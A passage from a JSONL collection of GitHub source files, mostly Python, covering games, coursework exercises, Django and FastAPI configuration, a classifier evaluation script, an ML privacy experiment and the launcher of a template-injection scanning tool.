y_pos):\n from settings import SCREEN, DRAW_R, DRAW_P, SCREEN_SIZE\n for el in MOLDE_ALFABETO: \n for indice, y in enumerate(el, 0):\n for ind, x in enumerate(y, 0):\n if x.upper() == 'X':\n DRAW_R(SCREEN, self.cores[self.cor_indice % (len(self.cores) - 1)], (x_pos + ind * 25, y_pos + indice * 25, 25, 25));\n elif x.upper() == \"T\":\n DRAW_P(SCREEN, self.cores[self.cor_indice % (len(self.cores) - 1)], [(x_pos + ind * 25, y_pos + indice * 25), (x_pos + ind * 25 + 24, y_pos + indice * 25 + 25), (x_pos + ind * 25, y_pos + indice * 25 + 25)]);\n self.cor_indice += 1;\n x_pos += 90;\n\n def button(self, x_pos: float, y_pos: float, w: float, h: int, text: str, colores: tuple):\n from settings import SCREEN, DRAW_R\n self.mouse_pos_x, self.mouse_pos_y = pygame.mouse.get_pos();\n pygame.font.init();\n DRAW_R(SCREEN, colores, (x_pos, y_pos, w, h));\n SCREEN.blit(pygame.font.SysFont(pygame.font.get_default_font(), 150).render(text, 1, (0, 0, 0)), (x_pos, y_pos));\n if (x_pos <= self.mouse_pos_x and self.mouse_pos_x <= x_pos + w and y_pos <= self.mouse_pos_y and self.mouse_pos_y <= y_pos + h):\n try:\n DRAW_R(SCREEN, (colores[0] - 50, colores[1] - 50, colores[2] - 100), (x_pos, y_pos, w, h));\n except:\n DRAW_R(SCREEN, colores, (x_pos, y_pos, w, h));\n SCREEN.blit(pygame.font.SysFont(pygame.font.get_default_font(), 150).render(text, 1, (0, 0, 0)), (x_pos, y_pos));\n if (pygame.mouse.get_pressed()[0]):\n self.clicked = True;\n return self.clicked;\n\n","repo_name":"EnzoZardo/Tetris-Python","sub_path":"main/Screen_tools.py","file_name":"Screen_tools.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27524649867","text":"#!/usr/bin/python3\n\"\"\"Module where the Rectangle class is defined\"\"\"\n\n\nBaseGeometry = __import__('7-base_geometry').BaseGeometry\n\n\nclass Rectangle(BaseGeometry):\n \"\"\"Defines the Rectangle class which inherits from BaseGeometry\"\"\"\n\n def __init__(self, width, height):\n \"\"\"Initializes the object's attributes during instanciation\n\n Args:\n width (int): Defines the width of the object\n height (int): Defines the height of the object\n \"\"\"\n\n super().integer_validator(\"width\", width)\n super().integer_validator(\"height\", height)\n\n self.__width = width\n self.__height = height\n","repo_name":"Teheremiti/holbertonschool-higher_level_programming","sub_path":"python-inheritance/8-rectangle.py","file_name":"8-rectangle.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36300734348","text":"from stackable.stackable import EnvSettingsBase\n\n\ndef setup_postoffice(globals, *args):\n \"\"\" this runs post any other email settings,\n so we can safely reconfigure post office to\n match whatever other email backend was set \"\"\"\n # get post office config\n po_config = globals['POST_OFFICE']\n # get the current email backend w/o post office\n backend = globals['EMAIL_BACKEND']\n # ... set this as post office backend\n po_config['EMAIL_BACKEND'] = backend\n # finally, make post office the email backend\n globals['EMAIL_BACKEND'] = 'post_office.EmailBackend'\n\n\nclass Config_DjangoPostOffice(object):\n \"\"\"\n set up django-post-office\n @see https://github.com/miraculixx/django-post_office\n \"\"\"\n _apps_ = (\n 'post_office',\n )\n POST_OFFICE_CACHE = False\n POST_OFFICE_TEMPLATE_CACHE = False\n # _caches_ = {\n # 'post_office': {\n # 'BACKEND': 'django.core.cache.backends.memcached.PyLibMCCache',\n # 'LOCATION': '127.0.0.1:11211',\n # }\n # }\n POST_OFFICE = {\n 'EMAIL_BACKEND': '=>will be set in patch, setup_postoffice',\n 'BATCH_SIZE': 1,\n 'DEFAULT_PRIORITY': 'now', # now, low, medium, high, now = sync\n 'LOG_LEVEL': 1, # 0 = nothing, 1 = only failed, 2 = both\n 'SENDING_ORDER': ['created'],\n # specify serializer for context variables for deferred rendering\n # (render_on_delivery=True)\n # 'CONTEXT_FIELD_CLASS': 'picklefield.fields.PickledObjectField',\n\n }\n __patches__ = (\n EnvSettingsBase.patch_apps(_apps_),\n # EnvSettingsBase.patch_dict('CACHES', _caches_),\n EnvSettingsBase.patch(setup_postoffice),\n )\n","repo_name":"productaize/stackable","sub_path":"stackable/contrib/config/conf_postoffice.py","file_name":"conf_postoffice.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"42065154169","text":"#!/usr/bin/env python3\nimport sys\nif sys.version_info.major != 3 or sys.version_info.minor < 6:\n print('\\033[91m[!]\\033[0m SSTImap was created for Python3.6 and above. Python'+str(sys.version_info.major)+'.'+str(sys.version_info.minor)+' is not supported!')\n sys.exit()\nif sys.version_info.minor > 11:\n print('\\033[33m[!]\\033[0m This version of SSTImap was not tested with Python3.'+str(sys.version_info.minor))\nimport importlib\nimport os\nfrom utils import cliparser\nfrom core import checks\nfrom core.interactive import InteractiveShell\nfrom utils.loggers import log\nfrom utils.config import config_args, version\nimport traceback\n\ndef main():\n args = vars(cliparser.options)\n args = config_args(args)\n args['version'] = version\n if not (args['url'] or args['interactive'] or args['load_urls'] or args['load_forms']):\n # no target specified\n log.log(22, 'SSTImap requires target URL (-u, --url), URLs/forms file (--load-urls / --load-forms) '\n 'or interactive mode (-i, --interactive)')\n elif args['interactive']:\n # interactive mode\n log.log(23, 'Starting SSTImap in interactive mode. Type \\'help\\' to see the details.')\n InteractiveShell(args).cmdloop()\n else:\n # predetermined mode\n checks.scan_website(args)\n\n\ndef load_plugins():\n importlib.invalidate_caches()\n groups = os.scandir(f\"{sys.path[0]}/plugins\")\n groups = filter(lambda x: x.is_dir(), groups)\n for g in groups:\n modules = os.scandir(f\"{sys.path[0]}/plugins/{g.name}\")\n modules = filter(lambda x: (x.name.endswith(\".py\") and not x.name.startswith(\"_\")), modules)\n for m in modules:\n importlib.import_module(f\"plugins.{g.name}.{m.name[:-3]}\")\n\n\nif __name__ == '__main__':\n print(cliparser.banner())\n load_plugins()\n from core.plugin import loaded_plugins\n log.log(26, f\"Loaded plugins by categories: {'; '.join([f'{x}: {len(loaded_plugins[x])}' for x in loaded_plugins])}\\n\")\n try:\n main()\n except (KeyboardInterrupt, EOFError):\n print()\n log.log(22, 'Exiting')\n except Exception as e:\n log.critical('Error: {}'.format(e))\n log.debug(traceback.format_exc())\n raise e\n","repo_name":"vladko312/SSTImap","sub_path":"sstimap.py","file_name":"sstimap.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":523,"dataset":"github-code","pt":"82"} +{"seq_id":"36003500107","text":"#퇴사\nN = int(input())\ndays = []\npay = []\ndp=[]\nfor _ in range(N):\n a, b = map(int,input().split())\n days.append(a)\n pay.append(b)\n dp.append(b)\ndp.append(0) #다음의 for문 최초 시도에서 인덱스초과 오류 방지\nfor i in range(N-1, -1, -1):\n if days[i] + i > N: #퇴사 기한 초과\n dp[i] = dp[i+1]\n else:\n dp[i] = max(dp[i+1], pay[i] + dp[i + days[i]]) #그날 일을 하는게 좋은지 다음 일을 하는게 좋은지 판단\nprint(dp[0])\n","repo_name":"wet6123/Algorithm","sub_path":"Baekjoon/python/14501.py","file_name":"14501.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70779082187","text":"from unittest import TestCase\n\nfrom flask import Flask\n\nimport find_consecutive_runs as fcr\n\n\nclass TestFindConsecutiveRuns(TestCase):\n\n def test_empty_list(self):\n test_sample = []\n result = fcr.find_consecutive_runs(test_sample)\n self.assertEqual(result, None)\n\n def test_not_enough_integers(self):\n test_sample = [1, 2]\n result = fcr.find_consecutive_runs(test_sample)\n self.assertEqual(result, None)\n\n def test_consecutive_runs_one_direction(self):\n test_sample = [1, 2, 3, 4]\n result = fcr.find_consecutive_runs(test_sample)\n self.assertEqual(type(result), list)\n self.assertEqual(result, [0, 1])\n\n # Check for non-contiguous list of numbers too.\n test_sample = [1, 2, 3, 4, 14, 15, 20, 21, 22, 55, 56, 57, 58]\n result = fcr.find_consecutive_runs(test_sample)\n self.assertEqual(type(result), list)\n self.assertEqual(result, [0, 1, 6, 9, 10])\n\n def test_consecutive_runs_both_directions(self):\n test_sample = [1, 2, 3, 4, 14, 20, 19, 18, 0, 0, -1, -2, -3, 10, 11, 12]\n result = fcr.find_consecutive_runs(test_sample)\n self.assertEqual(type(result), list)\n self.assertEqual(result, [0, 1, 5, 9, 10, 13])\n\n def test_consecutive_runs_instruction_example(self):\n test_sample = [1, 2, 3, 5, 10, 9, 8, 9, 10, 11, 7, 8, 7]\n result = fcr.find_consecutive_runs(test_sample)\n self.assertEqual(type(result), list)\n self.assertEqual(result, [0, 4, 6, 7])\n\n def test_flask_app_get(self):\n app = fcr.app.test_client()\n res = app.get(\"/\").data\n self.assertEqual(res, \"no list was provided\")\n","repo_name":"thomaswhyyou/DevopsTestingExercise","sub_path":"find_consecutive_runs_tests.py","file_name":"find_consecutive_runs_tests.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27111699812","text":"import os\nfrom model import Todo\n\n# MongoDB Driver\nimport motor.motor_asyncio\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\nMONGODB_URI = os.environ['MONGODB_URI']\n\nclient = motor.motor_asyncio.AsyncIOMotorClient(MONGODB_URI)\ndatabase = client['todo_db']\ncollection = database['todos']\n\n\nasync def fetch_all_todo():\n todos = []\n cursor = collection.find({'deleted': False})\n async for document in cursor:\n todos.append(Todo(**document))\n return todos\n\n\nasync def fetch_one_todo(id):\n document = await collection.find_one({'id': id})\n return document\n\n\nasync def create_todo(todo: Todo):\n n = await collection.count_documents({})\n todo.id = n+1\n\n await collection.insert_one(todo.dict())\n\n document = await fetch_one_todo(todo.id)\n return document\n\n\nasync def update_todo(id: int, todo: Todo):\n await collection.update_one({'id': id}, {\"$set\": {\n \"title\": todo.title, \"description\": todo.description\n }})\n document = await fetch_one_todo(id)\n return document\n\n\nasync def undelete_todo():\n await collection.update_many({}, {\"$set\": {\n \"deleted\": False\n }})\n return True\n\n\nasync def delete_todo(id):\n await collection.update_one({'id': id}, {\"$set\": {\n \"deleted\": True\n }})\n return True\n","repo_name":"Obichukwu/FARM-stack-course","sub_path":"backend/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34567381821","text":"\"\"\"\nBuilding an evaluating classifiers\nfrom the ember dataset's training features by producing\ngraphs for the user to view and evaluate.\n\nExpects there to be a an input folder containing:\n -\n\nExported files include:\n -\n\nExample Use:\n python3 03_classifier_building.py\n\"\"\"\nimport argparse\nimport pathlib\nimport warnings\nfrom pprint import pprint\n\nimport numpy as np\nfrom sklearn.ensemble import AdaBoostClassifier, RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import (\n ConfusionMatrixDisplay,\n accuracy_score,\n confusion_matrix,\n f1_score,\n recall_score,\n)\nfrom sklearn.model_selection import GridSearchCV, cross_val_score, train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\n\nimport utils\n\n\ndef main():\n \"driver function for script\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-i\",\n \"--input\",\n type=pathlib.Path,\n help=\"input directory path\",\n default=\"artifacts\",\n )\n parser.add_argument(\n \"-o\",\n \"--output\",\n type=pathlib.Path,\n help=\"output file path\",\n default=\"classification_evaluation.md\",\n )\n args = parser.parse_args()\n feature_freq_file = next(args.input.glob(\"*-frequency.csv\"))\n training_file = next(args.input.glob(\"*-values.parquet\"))\n\n top_common_libs = utils.get_common_feature_names(feature_freq_file, n=10)\n feature_df = utils.get_training_df(training_file)\n common_feature_df = utils.get_selected_features(\n feature_df, top_common_libs + [\"label\"]\n )\n X, y = utils.recover_features(common_feature_df)\n with open(args.output, \"wt\", encoding=\"utf-8\") as out_file:\n print_metrics_header(out_file)\n assess_naive_classifiers(X, y, out_file)\n evaluate_params_for_classifers(X, y, out_file)\n\n\ndef assess_naive_classifiers(X, y, out_file):\n \"\"\"\n Trying the data on a few different classifiers\n (with naively chosen hyper-parameters)\n \"\"\"\n assess_classifier(X, y, LogisticRegression(), out_file)\n out_file.write(\"\\n\")\n assess_classifier(X, y, DecisionTreeClassifier(), out_file)\n out_file.write(\"\\n\")\n #assess_classifier(X, y, RandomForestClassifier(), out_file)\n #assess_classifier(X, y, AdaBoostClassifier(), out_file)\n ...\n\n\ndef assess_classifier(X, y, clf, out_file):\n print(f\"## Evaluating Naive {type(clf).__name__}\")\n # create test-train split for evaluation\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33)\n # fit and predict\n if isinstance(clf, LogisticRegression):\n warnings.filterwarnings(\"ignore\")\n clf.fit(X_train, y_train)\n predictions = clf.predict(X_test)\n # evaluate the effectiveness of the classifier\n print_metrics(y_test, predictions, clf, out_file)\n # print(f\"cross_val_score: {cross_val_score(clf, X, y)}\")\n scores = cross_val_score(clf, X, y)\n out_file.write(f\"| {scores.mean():.2} | {scores.std():.2}\")\n # output plot of Confusion Matrix\n cm = confusion_matrix(y_test, predictions, labels=clf.classes_)\n display = ConfusionMatrixDisplay(confusion_matrix=cm, display_labels=clf.classes_)\n display.plot()\n\n\ndef evaluate_params_for_classifers(X, y, out_file):\n params_by_class = {\n LogisticRegression: {\n \"penalty\": [\"l1\", \"l2\", \"elasticnet\", \"none\"],\n \"C\": np.arange(0.5, 3.0, 0.5),\n \"solver\": [\"newton-cg\", \"lbfgs\", \"liblinear\", \"sag\", \"saga\"],\n },\n DecisionTreeClassifier: {\n \"criterion\": [\"gini\", \"entropy\", \"log_loss\"],\n \"max_features\": [\"sqrt\", \"log2\", None],\n },\n # RandomForestClassifier: {\n # \"n_estimators\": [10**x for x in (2, 3)],\n # \"max_depth\": [2**x for x in (2, 3)] + [None],\n # \"criterion\": [\"gini\", \"entropy\", \"log_loss\"],\n # \"max_features\": [\"sqrt\", \"log2\", None],\n # },\n # AdaBoostClassifier: {\n # \"base_estimator\": (),\n # \"max_depth\": [2**x for x in (2, 3, 4)] + [None],\n # \"criterion\": [\"gini\", \"entropy\", \"log_loss\"],\n # \"max_features\": [\"sqrt\", \"log2\", None],\n # },\n }\n for classifier_class, params in params_by_class.items():\n # suppressing all warnings, because GridSearchCV throws a lot\n # of unhelpful warnings\n warnings.filterwarnings(\"ignore\")\n best_params = evaluate_params(X, y, classifier_class, params)\n clf = classifier_class(**best_params)\n print(\"### Metrics with the 'best parameters'\")\n assess_classifier(X, y, clf, out_file)\n out_file.write(\"\\n\")\n\n\ndef evaluate_params(X, y, classifier_class, parameters):\n print(f\"## Evaluating {classifier_class.__name__} for best parameters\")\n clf = classifier_class()\n grid = GridSearchCV(clf, parameters)\n grid.fit(X, y)\n best_params = {}\n for param_name in parameters:\n best_params[param_name] = grid.best_params_[param_name]\n pprint(best_params)\n return best_params\n\n\ndef print_metrics_header(out_file):\n out_file.write(\n \"| Classifier | Accuracy | Recall | F1 Score | cross_val_score | cross_val_std |\"\n )\n out_file.write(\"\\n\")\n\n\ndef print_metrics(y_true, y_pred, clf, out_file):\n out_file.write(f\"| {type(clf).__name__} \")\n out_file.write(f\"| {accuracy_score(y_true, y_pred):.3} \")\n out_file.write(f\"| {recall_score(y_true, y_pred):.3} \")\n out_file.write(f\"| {f1_score(y_true, y_pred):.3} \")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"johnmulder/categorize_pes_by_imports","sub_path":"03_classifier_building.py","file_name":"03_classifier_building.py","file_ext":"py","file_size_in_byte":5533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"75044586509","text":"# Python Classes / Objects \n\n# Python is an object oriented programming language. \n# Almost everthing in Python is an object, with its properties and methods. \n# A Class is like an object constructor, or a \"blueprint\" for creating objects. \n\n# Create a Class \n\nclass MyClass: \n x = 5\n\n# Create an object \np1 = MyClass()\nprint(p1.x)\n\n# The _init_() Function\n# All classes have a function called _init_(), which is always executed when the class is being initiated \n# Use the _init_() function to assign values to object properties, or other operations that are necessary to do when the object is being created: \n\n# E.g. Create a class name Person, use the _init_() function to assign values for name and age: \n\"\"\"\nclass Person: \n def __init__(self, name, age): \n self.name = name\n self.age = age\n print (\"Welcome to the world\", self.name + \"!\")\n\n\np1 = Person(\"Ikenna\",42)\np2 = Person(\"Chioma\", 41)\nprint(p1.name, \"is\", p1.age, \"years old \") \n\"\"\"\n\n# The _str_() Function\n# The __str__() function controls what should be returned when the class object is represented as a string. \n# If the __str__() is not set, the string representation of the object is returned \n\n# E.g. The string representation of an object WITHOUT the __str__() function: \n\"\"\"\nclass Person: \n def __init__(self, name, age) -> None:\n self.name = name\n self.age = age \n\n\np1 = Person(\"Ikenna\", \"42\")\n\nprint(p1)\n\"\"\"\n\n# E.g. The string representation of an object WITH the __str__() function: \n\"\"\"\nclass Person: \n def __init__(self, name, age) -> None:\n self.name = name\n self.age = age\n\n def __str__(self) -> str:\n return f\"{self.name}({self.age})\"\n\n\np1 = Person(\"Ikenna\", 42)\n\nprint(p1)\n\"\"\"\n\n# Object methods \n# E.g. Insert a function that prints a greeting, and execute it on the p1 object: \n\"\"\"\nclass Person: \n def __init__(self, name, age) -> None:\n self.name = name \n self.age = age \n\n def myfunc(self): \n print(\"Hello my name is \" + self.name)\n\n\np1 = Person (\"Ikenna\", 42)\np1.myfunc()\n\"\"\"\n\n# The self parameter \n# The self parameter is a reference to the current instance of the class, and is used to access variables that belong to the class. \n# It does not have to be name self, you can call it whatever you like, but it has to be the first parameter of any function in the class: \n\n# E.g. Use the words mysillyobject and abc instead of self: \n\"\"\"\nclass Person: \n def __init__(mysillyobject, name, age) -> None:\n mysillyobject.name = name \n mysillyobject.age = age \n\n def myfunc(abc): \n print(\"Hello my name is \" + abc.name)\n\np1 = Person(\"Ikenna\", 42)\np1.myfunc()\n\"\"\"\n\n# Modify object properties \n# You can modify properties an object like this:\n# E.g. Set the age of p1 to 40: \n\"\"\"\nclass Person: \n def __init__(self, name, age) -> None:\n self.name = name\n self.age = age \n\n def __str__(self) -> str:\n return f\"{self.name}({self.age})\"\n\np1 = Person(\"Ikenna\", 42)\np1.age = 40 \n\nprint(p1)\n\"\"\"\n\n# Delete objects \n# You can delete objects by using the del keyword: \n# E.g. Delete the p1 object: \n\"\"\"\ndel p1 \nprint(p1)\n\"\"\"\n\n# The pass statement \n# class definitions cannot be empty, but if you for some reason have a class definition with no content, put in the pass statement to avoid getting an error \n\n\"\"\"\nclass Person: \n pass \n\"\"\"\n\nclass Person: \n def __init__(self, name, age) -> None:\n self.name = name\n self.age = age \n\n def __str__(self) -> str:\n return f\"{self.name}({self.age})\"\n\np1 = Persons(\"Ikenna\", 42)\np1.age = 40 \n\nprint(p1)","repo_name":"chinikes/Peter-s-Python-Projects","sub_path":"w3school_classesandobjects.py","file_name":"w3school_classesandobjects.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23819761199","text":"import ray\nimport torch\nfrom tqdm import tqdm\n\nimport configuration as cfg\nimport util\nfrom actors import AuxiliaryNode, DataOwner, MediatorNode, ModelOwner, WorkerNode\nfrom actors.auxiliary_collection_node import Recollector\nfrom actors.util import round_robin_collection_single_group\nfrom util.networks import construct_network\n\n\ndef get_accumulated_comm_cost(workers, auxiliaries, mediators):\n comm_costs = []\n comm_costs.extend(ray.get([w.get_comm_cost.remote() for w in workers]))\n comm_costs.extend(ray.get([a.get_comm_cost.remote() for a in auxiliaries]))\n comm_costs.extend(ray.get([m.get_comm_cost.remote() for m in mediators]))\n\n msgs, msg_size = 0, 0\n for _msgs, _msg_size in comm_costs:\n msgs += _msgs\n msg_size += _msg_size\n\n return msgs, msg_size\n\n\ndef main():\n\n \"\"\" local ray start \"\"\"\n resources = dict()\n for i in range(cfg.num_groups):\n resources[f\"group{i}\"] = cfg.replication_factor\n resources[\"auxiliary\"] = util.constants.num_auxiliaries\n resources[\"mediator\"] = util.constants.num_mediators\n if not ray.is_initialized(): ray.init(log_to_driver=cfg.log_warnings, resources=resources)\n\n print(f'network={cfg.network}, batch_size={cfg.batch_size}, lr={util.constants.lr}, iterations={cfg.iterations}, train={cfg.train}')\n\n random_fct = lambda size: torch.rand(size, dtype=torch.float64, device='cpu')\n\n ran_group = 0\n\n recollector = Recollector.remote()\n\n output_mask = torch.rand(10)\n model_owner = ModelOwner.remote(cfg.num_groups, torch.exp, torch.empty_like, torch.abs, util.constants.num_mediators,\n output_mask, random_fct, recollector)\n\n data_owner = DataOwner(cfg.num_groups, random_fct, torch.zeros)\n\n auxiliaries = []\n for i in range(util.constants.num_auxiliaries):\n auxiliaries.append(AuxiliaryNode.options(resources={\"auxiliary\": 1}).remote(util.constants.group_sizes, node_id=i, recollector=recollector))\n\n mediators = []\n senders_m = round_robin_collection_single_group(iteration=0, g_size=util.constants.num_mediators)\n for i in range(util.constants.num_mediators):\n mediators.append(MediatorNode.options(resources={\"mediator\": 1}).remote(util.constants.group_sizes, model_owner, node_id=i, receive_next=i not in senders_m, recollector=recollector))\n\n ray.get([model_owner.set_mediators.remote(mediators)])\n\n distributed_nn = construct_network(name=cfg.network, type='distributed', batch_size=cfg.batch_size, lr=util.constants.lr, auxiliary_nodes=auxiliaries, mediator_nodes=mediators, ran_group=ran_group, output_mask=output_mask)\n\n workers = []\n workers_dict = {}\n group_nums = []\n models = ray.get(model_owner.create_models.remote(distributed_nn, cfg.num_groups))\n init_senders_w = round_robin_collection_single_group(iteration=0, g_size=util.constants.num_workers)\n for i in range(cfg.num_groups):\n workers_dict[i] = []\n for j in range(util.constants.num_workers):\n worker = WorkerNode.options(resources={f\"group{i}\": 1}).remote(group_num=i, auxiliary_nodes=auxiliaries,\n mediator_nodes=mediators,\n model_owner=model_owner, nn=models[i],\n node_id=j,\n receive_next=j not in init_senders_w,\n recollector=recollector)\n workers.append(worker)\n group_nums.append(i)\n workers_dict[i].append(worker)\n\n ray.get([a.set_workers.remote(workers_dict) for a in auxiliaries])\n ray.get([m.set_workers.remote(workers_dict) for m in mediators])\n\n X_shares, Y_shares = [[] for _ in range(cfg.num_groups)], [[] for _ in range(cfg.num_groups)]\n for i in tqdm(range(cfg.iterations * cfg.batch_size)):\n if (i+1) % cfg.batch_size == 0 and i > 0:\n ray.get([w.iterate.remote(X_shares[j], Y_shares[j], train=cfg.train, return_result=False, return_runtime=False) for w, j in zip(workers, group_nums)])\n X_shares, Y_shares = [[] for _ in range(cfg.num_groups)], [[] for _ in range(cfg.num_groups)]\n\n _X_shares, _Y_shares = data_owner.mnist_train_shares(i)\n for j, (_X_share, _Y_share) in enumerate(zip(_X_shares, _Y_shares)):\n X_shares[j].append(_X_share)\n Y_shares[j].append(_Y_share)\n\n ray.get([w.iterate.remote(X_shares[j], Y_shares[j], train=cfg.train, return_result=False, return_runtime=False) for w, j in zip(workers, group_nums)])\n\n msgs, msg_size = get_accumulated_comm_cost(workers, auxiliaries, mediators)\n tqdm.write(f'Total # of messages: {msgs}')\n tqdm.write(f'Total communication cost: {msg_size} B = {msg_size / (10**6)} MB = {msg_size / (10**9)} GB')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"DataSecPrivacyLab/SafeML","sub_path":"eval_comm.py","file_name":"eval_comm.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7699882316","text":"import random\n\ndef run_game(rem_attempts = 5, random_number = random.randint(1,21)):\n\n while True:\n guess = int(input('enter a number between 1 and 20: '))\n rem_attempts -= 1\n\n if guessrandom_number:\n print('Oh no! A little Lower.')\n\n print(\"\")\n\n print(\"remainig attempts: \",rem_attempts, \"\\n\")\n\n if guess == random_number:\n print(\"Congratulations! Your Guess is Correct.\")\n break\n if rem_attempts == 0:\n print(\"You ran out of moves. Better Luck next time!\")\n break\n\n \n\ndef main():\n while True:\n print(\"Do you want to Start the Game?\")\n start = input(\"Type Yes or NO\\n\")\n\n if start.lower() == 'yes':\n run_game()\n elif start.lower() == 'no':\n print(\"Signing off!\")\n break\n else:\n print(\"Warning!!! Type Yes or NO\")\n\n print(\"**************************************************\")\n\n\nprint(\"Can you guess the number in 5 moves?\")\nmain()","repo_name":"Prasannakumar-n/Simple-Python-Projects","sub_path":"GuessingGame.py","file_name":"GuessingGame.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73989343947","text":"import streamlit as st\n# import streamlit as st\n# import pandas as pd\n# import matplotlib as plt\n# import matplotlib.pyplot as plt\n# import seaborn as sns\n# import numpy as np\nfrom PIL import Image\n# import plotly.express as px\n# import plotly.figure_factory as ff\n\n\ndef app():\n\n header = st.beta_container()\n team = st.beta_container()\n activities = st.beta_container()\n github = st.beta_container()\n # dataset = st.beta_container()\n # conclusion = st.beta_container()\n # footer = st.beta_container()\n with header:\n st.title('Leia Team ') # site title h1\n st.text(' ')\n st.header('Find the Beby Yoda in Galaxy Project')\n\n st.text(' ')\n st.markdown(\n \"Enjoy the journey and you'll see the magic :sparkles:\")\n st.text(' ')\n\n image = Image.open('images/star-wars-leia.jpg')\n st.image(image, caption=\"'It takes a great deal of bravery to stand up to our enemies, but just as much to stand up to our friends.'\")\n st.text(' ')\n with team:\n st.header('Team')\n col1, col2, col3, col4 = st.beta_columns(4)\n with col1:\n image = Image.open('images/than.jpg')\n st.image(image, caption=\"\")\n st.markdown(\n '[Thanh Nguyen](https://github.com/fistadev)')\n with col2:\n image = Image.open('images/josha.jpeg')\n st.image(image, caption=\"\")\n st.markdown(\n '[Joshua Batt](https://github.com/AgathiyaRaja)')\n with col3:\n image = Image.open('images/Dilan.jpeg')\n st.image(image, caption=\"\")\n st.markdown(\n '[Udawala_Hewage_Dil](https://github.com/avocami)')\n with col4:\n image = Image.open('images/nurlan.jpeg')\n st.image(image, caption=\"\")\n st.markdown(\n '[Nurlan Sarkhanov](https://github.com/nsarkhanov)')\n st.text(' ')\n st.text(' ')\n image = Image.open('images/galaxy.jpg')\n st.image(image, caption=\"\")\n st.text(' ')\n st.text(' ')\n\n with activities:\n # activities section:\n st.header('Activities')\n st.markdown('* Reading data from csv file ')\n st.markdown('* Find the Planet form Pakanets list')\n st.markdown('* Creating costum function ')\n st.markdown('* Find location of Beby Yoda ')\n st.text(' ')\n\n with github:\n # github section:\n st.header('GitHub / Instructions')\n st.markdown(\n 'Check the instruction [here](https://github.com/Leia-Team/leia_team.io)')\n st.text(' ')\n","repo_name":"Josh-Batt/strive_coursework","sub_path":"My_Strive_Work/M4 - Feature Enginnering/D5/Team GitHub Files/streamlit_n/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"23151280146","text":"import sys\nimport copy\n\ndef find(parent, x):\n if parent[x] != x:\n parent[x] = find(parent, parent[x])\n return parent[x]\n\n\ndef union(parent, a, b):\n ap = find(parent, a)\n bp = find(parent, b)\n\n if ap < bp:\n parent[bp] = ap\n else:\n parent[ap] = bp\n\n\nn, m = map(int, sys.stdin.readline().split())\nparent = [i for i in range(n+1)]\nparent2 = [i for i in range(n+1)]\n\nedges = []\nfor i in range(m+1):\n v, w, cost = map(int, sys.stdin.readline().split())\n edges.append((cost, v, w))\n\nedges2 = copy.deepcopy(edges)\nedges.sort(reverse=True)\nedges2.sort()\n\n# 최적의 코스\nk = 0\nfor cost, v, w in edges:\n if find(parent, v) != find(parent, w):\n union(parent, v, w)\n if cost == 0:\n k += 1\n\n# 최악의 코스\nk2 = 0\nfor cost, v, w in edges2:\n if find(parent2, v) != find(parent2, w):\n union(parent2, v, w)\n if cost == 0:\n k2 += 1\n\nprint(k2**2 - k**2)\n\n\n","repo_name":"dawit0905/AlgorithmStudy","sub_path":"python/baekjoon_13418.py","file_name":"baekjoon_13418.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37952319195","text":"#-*- coding: utf-8 -*-\nfrom dec2bin import *\nimport matplotlib.pyplot as plt\n\ndef plot():\n data = np.array([])\n x = range(0, 500)\n y = []\n for i in x:\n ret = dec2Bin(i)\n y = np.append(y, ret)\n plt.plot(x, y)\n plt.show()\n print(x[:])\n print(y[:])\n\n\n\nif __name__ == '__main__':\n plot()\n","repo_name":"Hector290601/EDA","sub_path":"decc2bin/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42795680248","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport functools\nimport logging\nimport os\nimport os.path as osp\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom embeddings.convolutional_alexnet import convolutional_alexnet_arg_scope, convolutional_alexnet, embed_alexnet, embed_vgg16\nfrom utils.infer_utils import get_exemplar_images\nfrom utils.misc_utils import get_center\n\nslim = tf.contrib.slim\n\nfrom tensorflow.python import pywrap_tensorflow\n\ndef parse_tf_model(file_name):\n result_dict = {}\n try:\n reader = pywrap_tensorflow.NewCheckpointReader(file_name)\n var_to_shape_map = reader.get_variable_to_shape_map()\n for key in 